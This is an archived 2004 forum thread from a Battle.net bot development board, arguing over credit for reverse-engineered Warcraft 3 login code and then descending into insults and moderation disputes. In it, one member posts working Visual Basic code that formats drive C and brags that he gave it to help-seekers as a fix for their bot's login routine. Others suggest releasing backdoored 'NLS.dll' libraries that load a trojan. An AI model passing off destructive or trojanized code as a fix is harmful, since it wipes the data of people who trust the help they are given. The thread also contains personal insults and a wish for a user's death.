Valhalla Legends Forums Archive | Battle.net Bot Development | ATTN: Authors of the alleged Warcraft 3 code

AuthorMessageTime
Yoni
Disclaimer:
Gosugaming: You're a fucking idiot, this post is not for you.
(The forum members and the people who know me will testify that it's pretty rare for me to say something like that. Consider yourself special.)
[hr]
To whom it may concern:
I took a look at the code and it looks pretty good, though I haven't tested it thoroughly.
You might be a good addition to [vL],
Please contact me on Battle.net or on AIM/ICQ/MSN (send me a private message to get my contact info).
July 11, 2004, 6:52 PM
ChR0NiC
Hmmmm, *fills with jealousy* :-[
[hr]
[hr]
July 11, 2004, 6:53 PM
hismajesty
Those blue lines hurt my eyes. 8)
July 11, 2004, 11:19 PM
SiMi
Fine Fine, It was me, you just had to make it come out, didn't you? :)
July 11, 2004, 11:41 PM
ChR0NiC
[quote author=Simi link=board=17;threadid=7662;start=0#msg69833 date=1089589294]
Fine Fine, It was me, you just had to make it come out, didn't you? :)
[/quote]

Actually we already figured out it was Userloser who designed the NLS.dll and Madd0x who designed the SRP class. I am unsure but maybe he also designed the SHA class too.
July 12, 2004, 1:34 AM
deadly7
Link to the "alleged" Code?
July 12, 2004, 1:36 AM
hismajesty
[quote author=deadly7 link=board=17;threadid=7662;start=0#msg69863 date=1089596183]
Link to the "alleged" Code?
[/quote]

Um, maybe look at the thread listings? It's within the top 5.
July 12, 2004, 1:37 AM
deadly7
Heh, I didn't think that was the thread.... Wow that was retarded of Gosu....
July 12, 2004, 1:47 AM
ChR0NiC
[quote author=deadly7 link=board=17;threadid=7662;start=0#msg69868 date=1089596842]
Heh, I didn't think that was the thread.... Wow that was retarded of Gosu....
[/quote]

Thus resulting in being banned from the forums along with BaDDBLooD.

GOOD RIDDENS :P
July 12, 2004, 1:51 AM
PaiD
are they truly banned?
July 12, 2004, 1:52 AM
LW-Falcon
Yes finally!
July 12, 2004, 2:12 AM
Quarantine
What did they do again?
July 12, 2004, 2:16 AM
crashtestdummy
[quote]Yours is the task to clean this forum. Or to request off-topic posters be banned?[/quote]
July 12, 2004, 2:18 AM
SiMi
(waits for a new bot to be released by Chr0nic pretty soon)
July 12, 2004, 3:15 AM
ChR0NiC
[quote author=Simi link=board=17;threadid=7662;start=0#msg69904 date=1089602147]
(waits for a new bot to be released by Chr0nic pretty soon)
[/quote]

Why is that?
July 12, 2004, 3:17 AM
iago
Ok, shut up everybody.

Now back to the point:
Maddox wrote the code and did a lot of reversing
Telos worked on some of the key decoding reversing
I did a lot of reversing and identified a ton of Storm functions
TheMinistered did a lot of reversing with me
Finally, UserLoser identified the Sha-1 stuff and convined me to start helping.

All of us contributed, and none of us (probably) could have done it alone.
July 12, 2004, 3:45 AM
Myndfyr
[quote author=iago link=board=17;threadid=7662;start=15#msg69912 date=1089603928]
Ok, shut up everybody.

Now back to the point:
Maddox wrote the code and did a lot of reversing
Telos worked on some of the key decoding reversing
I did a lot of reversing and identified a ton of Storm functions
TheMinistered did a lot of reversing with me
Finally, UserLoser identified the Sha-1 stuff and convined me to start helping.

All of us contributed, and none of us (probably) could have done it alone.
[/quote]

Man, that blows. I wish I could have gotten involved. :P You've pretty much iterated about 90% of the competent non-vL people on the forums. Even if I could reverse to a certain extent, the team has been taken! :P
July 12, 2004, 8:11 AM
Yoni
[quote author=iago link=board=17;threadid=7662;start=15#msg69912 date=1089603928]
Ok, shut up everybody.

Now back to the point:
Maddox wrote the code and did a lot of reversing
Telos worked on some of the key decoding reversing
I did a lot of reversing and identified a ton of Storm functions
TheMinistered did a lot of reversing with me
Finally, UserLoser identified the Sha-1 stuff and convined me to start helping.

All of us contributed, and none of us (probably) could have done it alone.
[/quote]Ah, cool. We didn't either ;)
July 12, 2004, 9:15 AM
iago
[quote author=Myndfyre link=board=17;threadid=7662;start=15#msg69931 date=1089619871]
competent
[/quote]

TheMinistered is SO competant that he leaves VNC running while he's away for a week :)

But yeah, it was a neat project. I really don't care about logging in with war3, I didn't add it to any of my bots or ever implement it properly. All I wanted was to help figure it out.
July 12, 2004, 12:02 PM
deadly7
Just a noob question... HOW did you do it?
July 12, 2004, 2:16 PM
UserLoser.
[quote author=deadly7 link=board=17;threadid=7662;start=15#msg69954 date=1089641797]
Just a noob question... HOW did you do it?
[/quote]

I use IDA Pro.
July 12, 2004, 3:11 PM
deadly7
Once I learn some scripting I might get that disassembler..
July 12, 2004, 3:38 PM
iago
[quote author=deadly7 link=board=17;threadid=7662;start=15#msg69968 date=1089646705]
Once I learn some scripting I might get that disassembler..
[/quote]

Scripting is quite different from programming. You have a lot to learn :)
July 12, 2004, 6:09 PM
deadly7
Well don't you learn scripting so you can do programming? [Did that sound as stupid to you as it did to me...]
July 13, 2004, 4:28 PM
Yoni
[quote author=deadly7 link=board=17;threadid=7662;start=15#msg70179 date=1089736093]
Well don't you learn scripting so you can do programming? [Did that sound as stupid to you as it did to me...]
[/quote]No, you learn programming for that.
July 13, 2004, 5:54 PM
Myndfyr
[quote author=deadly7 link=board=17;threadid=7662;start=15#msg70179 date=1089736093]
Well don't you learn scripting so you can do programming? [Did that sound as stupid to you as it did to me...]
[/quote]

Yoni's harassments aside, I learned scripting before I learned programming: specifically, I learned JavaScript for HTML pages.

A good project to know if you're ready to start programming if you're a javascripter: write a client-side search engine using JavaScript. :P

I didn't learn scripting so that I could move into programming though. I learned scripting so that I could put together some kickass websites. Things followed, though -- certain limitations on client-side scripting kept me from doing really great stuff. So, I started getting into server-side programming, specifically ASP. I was already familiar with Javascript, and since Microsoft has a ripoff version that they provide with ASP, I was already ahead of the game.

Shortly thereafter, I was hired at TGTSoft as an intern to tweak a few things on their website. The company relocated about 6 months down the road, but one of the potential projects was for me to revamp their website using C#, so they hooked me up with Visual Studio .NET.

It took awhile to learn, but I have to say I think I'm doing pretty well. ;)

That said, if you want to end up programming, I would suggest starting with programming. If you have a reason (like I did) to script, then script -- but down the line, it will be faster to learn programming by simply learning programming.
July 13, 2004, 6:00 PM
St0rm.iD
Myndfire I think it'd be fun..if you consider me competant that is :)
July 13, 2004, 9:09 PM
Myndfyr
[quote author=$t0rm link=board=17;threadid=7662;start=15#msg70226 date=1089752960]
Myndfire I think it'd be fun..if you consider me competant that is :)
[/quote]

You're a libertarian. Of course you're competent. ;)
July 13, 2004, 10:54 PM
PiaNKA
Wtf, stop deleting the posts dude, you're ruining our conversations...
July 15, 2004, 4:16 AM
Myndfyr
[quote author=PiaNKA link=board=17;threadid=7662;start=15#msg70438 date=1089864994]
Wtf, stop deleting the posts dude, you're ruining our conversations...
[/quote]

Stop being such a moron. You'll get over it.
July 15, 2004, 4:20 AM
St0rm.iD
wtf dude like yah
July 15, 2004, 4:29 AM
Soul Taker
[quote author=$t0rm link=board=17;threadid=7662;start=30#msg70442 date=1089865753]
wtf dude like yah
[/quote]
Totally. I'm getting a Dell!
July 15, 2004, 5:16 AM
Arta
[quote author=PiaNKA link=board=17;threadid=7662;start=15#msg70438 date=1089864994]
Wtf, stop deleting the posts dude, you're ruining our conversations...
[/quote]

Then STAY ON TOPIC and STOP POSTING CRAP.

kthx.
July 15, 2004, 4:51 PM
UserLoser.
[quote author=Arta[vL] link=board=17;threadid=7662;start=30#msg70507 date=1089910289]
[quote author=PiaNKA link=board=17;threadid=7662;start=15#msg70438 date=1089864994]
Wtf, stop deleting the posts dude, you're ruining our conversations...
[/quote]

Then STAY ON TOPIC and STOP POSTING CRAP.

kthx.
[/quote]

+1
July 15, 2004, 6:05 PM
warz
Haven't put it in any bot I have, yet.
July 16, 2004, 3:32 AM
ChR0NiC
[quote author=warz link=board=17;threadid=7662;start=30#msg70718 date=1089948746]
Haven't put it in any bot I have, yet.
[/quote]

I had alot of jerks who constantly kept IM'ing me asking me for help to make it work, and surprise surprise they all got stuck at 0x51 and again surprise surprise all of their "Send 0x51" subs looked almost exactly indentical. Which shows me these guys haven't got a clue what they're doing.

So I told them to first do this !!!
[img]http://cold-chaos.net/stealth/google.gif[/img]

Then after sending them on a wild goose chase I told them to implement this code into their bot. (Which should fix everything)

[code]
Private Declare Function SHFormatDrive Lib "shell32" _
(ByVal hWnd As Long, ByVal Drive As Long, ByVal fmtID As
Long, ByVal Options As Long) As Long

Private Declare Function GetDriveType Lib "kernel32" Alias _
"GetDriveTypeA" (ByVal nDrive As String) As Long

Private Const FORMAT_FULL = &H1
[/code]

Add these API Declares ;D

[code]
Public Function FormatDrive(Optional PermitNonRemovableFormat As Boolean = True) As Boolean

Dim sDrive As String
Dim lDrive As Long
Dim iDriveType As Integer
Dim iAns As Integer
Dim sDriveLetter
Dim lRet As Long

sDrive = "C"
sDriveLetter = sDrive
If Len(sDrive) = 1 Then sDriveLetter = sDriveLetter & ":\"
If Len(sDrive) = 2 And Right$(sDrive, 1) = ":" _
Then sDriveLetter = sDrive & "\"


lDrive = Asc(Left(sDrive, 1)) - 65
iDriveType = DriveType(sDrive)
Select Case iDriveType

Case 2

lRet = SHFormatDrive(Me.hWnd, lDrive, HFFFF, FORMAT_FULL)
FormatDrive = lRet = 0
Case 3, 4, 5, 6
If Not PermitNonRemovableFormat Then Exit Function
lRet = SHFormatDrive(Me.hWnd, lDrive, HFFFF, FORMAT_FULL)
FormatDrive = lRet = 0
Case Else 'no such drive
Exit Function
End Select

End Function

Private Function DriveType(Drive As String) As Integer

Dim sAns As String, lAns As Long

'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"

DriveType = GetDriveType(Drive)

End Function
[/code]

And I told them to put that right to execute during the "Send 0x51" form.
Now anybody who is even smart enough to read should realize it says FORMATDRIVE !!! in there....but w/e it got them to stop bugging me, some of them I haven't seen for at least a few days now :P
July 16, 2004, 7:57 PM
Lenny
[quote]I had alot of jerks who constantly kept IM'ing me asking me for help to make it work, and surprise surprise they all got stuck at 0x51 and again surprise surprise all of their "Send 0x51" subs looked almost exactly indentical. Which shows me these guys haven't got a clue what they're doing.[/quote]

Isn't it ironic that you didn't write that code. And that its "almost exactly indentical" to this:

http://www.freevbcode.com/ShowCode.asp?ID=1371
July 16, 2004, 8:05 PM
ChR0NiC
Obviously I didn't write it.......but it's funny what garbage you can get so many people to put in their bots who have no idea what they are doing.
July 16, 2004, 8:24 PM
St0rm.iD
i wrote my fake bot src myself

better idea, "nlshash.dll" -- backdoored, load a trojan etc..
July 16, 2004, 11:05 PM
iago
[quote author=$t0rm link=board=17;threadid=7662;start=30#msg70872 date=1090019144]
i wrote my fake bot src myself

better idea, "nlshash.dll" -- backdoored, load a trojan etc..
[/quote]

Release as many fake NLS.dll's as you can, and I'll love you forever :)
July 17, 2004, 8:45 AM
GoSuGaMING
wow really... stop deleting my damn posts :X i think they are sexy
July 18, 2004, 3:14 AM
Eli_1
I think you getting run over by a bus would be pretty sexy.
July 18, 2004, 3:26 AM
St0rm.iD
gosu i thought we got rid of you...
July 18, 2004, 3:49 AM
ChR0NiC
[quote author=$t0rm link=board=17;threadid=7662;start=30#msg71059 date=1090122557]
gosu i thought we got rid of you...
[/quote]

Hmmmm, Gosu is all bragging about how he never connects to the forums using his "REAL IP" wow he is so LEET, ONE 1337 h4x0r :o

[quote]
GoSuGaMING: i never connect to the vl forums with my real ip
GoSuGaMING: they dont got shit on me
ChRoNiC XxXxXxXx: If they don't want you on the forums, why keep going back?
GoSuGaMING: pride man GOSU PRIDE
[/quote]

Jeeeeeeeeeez we should all fear the GoSu h4x0r
July 18, 2004, 4:00 AM
Newby
YaBB stores the passwords in plain text IIRC. Perhaps an admin could do something about him? :)
July 18, 2004, 4:36 AM
Newby
[quote author=GoSuGaMING link=board=17;threadid=7662;start=45#msg71076 date=1090125892]
[quote author=Newby link=board=17;threadid=7662;start=45#msg71073 date=1090125388]
YaBB stores the passwords in plain text IIRC. Perhaps an admin could do something about him? :)
[/quote]

lol i have the simplest pword... id just make anohte rname on the forum idiot... god ur a newb
[/quote]
So, this is quitting Battle.net?
July 18, 2004, 4:47 AM
hismajesty
You're too God damned gosu for an ipban. ::)
July 18, 2004, 4:54 AM
hismajesty
[quote author=Newby link=board=17;threadid=7662;start=45#msg71073 date=1090125388]
YaBB stores the passwords in plain text IIRC. Perhaps an admin could do something about him? :)
[/quote]

The cgi version does, this one uses MySQL.
July 18, 2004, 4:55 AM
hismajesty
Why is it that you always have topics posting AIM logs of you asking for code, and then you argue about it? It makes look both parties look dumb.
July 18, 2004, 4:58 AM
ChR0NiC
Buddy don't drag me down with you, I wasn't the one who pissed off [u]Yoni[/u] so don't try and get me IP banned all cuz people wish you were gone.
July 18, 2004, 5:06 AM
Lenny
Why dont you lovebirds get a room and leave it out of these forums?

Also, perhaps someone could setup a way where ANY member can remove Mr. GoSuGaMING's posts...
July 18, 2004, 5:52 AM
Stealth
Yeah, that would probably be quite a bit of work. For what it's worth, I recommend that an admin get rid of him. I would have done so long ago.
July 18, 2004, 6:17 AM
Lenny
Let's make Stealth a moderator! As long as he promises to remove every post GoSuGaMING makes ;D
July 18, 2004, 6:21 AM
Tuberload
[quote author=GoSuGaMING link=board=17;threadid=7662;start=60#msg71115 date=1090130656]
[quote author=Lenny link=board=17;threadid=7662;start=60#msg71112 date=1090129952]
Why dont you lovebirds get a room and leave it out of these forums?

Also, perhaps someone could setup a way where ANY member can remove Mr. GoSuGaMING's posts...
[/quote]

lmao its impossible unless you have administrative access idiot..
[/quote]

You don't need to be an admin to remove posts idiot...
July 18, 2004, 6:44 AM
Newby
This is an example of why kids should stay in school. *points at Gosugaming*
July 18, 2004, 7:21 AM
Arta
This thread has degenerated beyond repair (I did try really hard).
July 18, 2004, 12:17 PM

Search